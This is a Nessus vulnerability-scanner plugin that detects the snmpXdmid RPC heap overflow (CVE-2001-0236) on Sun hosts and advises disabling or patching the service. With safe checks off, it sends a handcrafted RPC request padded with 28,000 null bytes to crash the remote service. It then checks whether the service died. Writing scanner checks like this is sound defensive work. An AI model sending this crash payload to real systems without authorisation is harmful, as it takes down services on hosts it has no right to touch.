# # This script is released under the GPL # if(description) { script_id(10659); script_version ("$Revision$"); script_bugtraq_id(2417); script_cve_id("CVE-2001-0236"); name["english"] = "snmpXdmid overflow"; name["francais"] = "snmpXdmid overflow"; script_name(english:name["english"], francais:name["francais"]); desc["english"] = " The remote RPC service 100249 (snmpXdmid) is vulnerable to a heap overflow which allows any user to obtain a root shell on this host. Solution : disable this service (/etc/init.d/init.dmi stop) if you don't use it, or contact Sun for a patch Risk factor : High"; script_description(english:desc["english"]); summary["english"] = "heap overflow through snmpXdmid"; script_summary(english:summary["english"]); script_category(ACT_MIXED_ATTACK); # mixed script_copyright(english:"This script is Copyright (C) 2001 Intranode"); family["english"] = "Gain root remotely"; family["francais"] = "Passer root à distance"; script_family(english:family["english"], francais:family["francais"]); script_dependencies("rpc_portmap.nasl"); script_require_keys("rpc/portmap"); exit(0); } include("misc_func.inc"); port = get_rpc_port(program:100249, protocol:IPPROTO_TCP); if(port) { if(safe_checks()) { data = " The remote RPC service 100249 (snmpXdmid) may be vulnerable to a heap overflow which allows any user to obtain a root shell on this host. *** Nessus reports this vulnerability using only *** information that was gathered. Use caution *** when testing without safe checks enabled. Solution : disable this service (/etc/init.d/init.dmi stop) if you don't use it, or contact Sun for a patch Risk factor : High"; security_hole(port:port, data:data); exit(0); } if(get_port_state(port)) { soc = open_sock_tcp(port); if(soc) { # # We forge a bogus RPC request, with a way too long # argument. The remote process will die immediately, # and hopefully painlessly. # req = raw_string(0x00, 0x00, 0x0F, 0x9C, 0x22, 0x7D, 0x93, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01, 0x87, 0x99, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x20, 0x3A, 0xF1, 0x28, 0x90, 0x00, 0x00, 0x00, 0x09, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x68, 0x6F, 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x06, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00) + crap(length:28000, data:raw_string(0x00)); send(socket:soc, data:req); r = recv(socket:soc, length:4096); close(soc); sleep(1); soc2 = open_sock_tcp(port); if(!soc2)security_hole(port); else close(soc2); } } }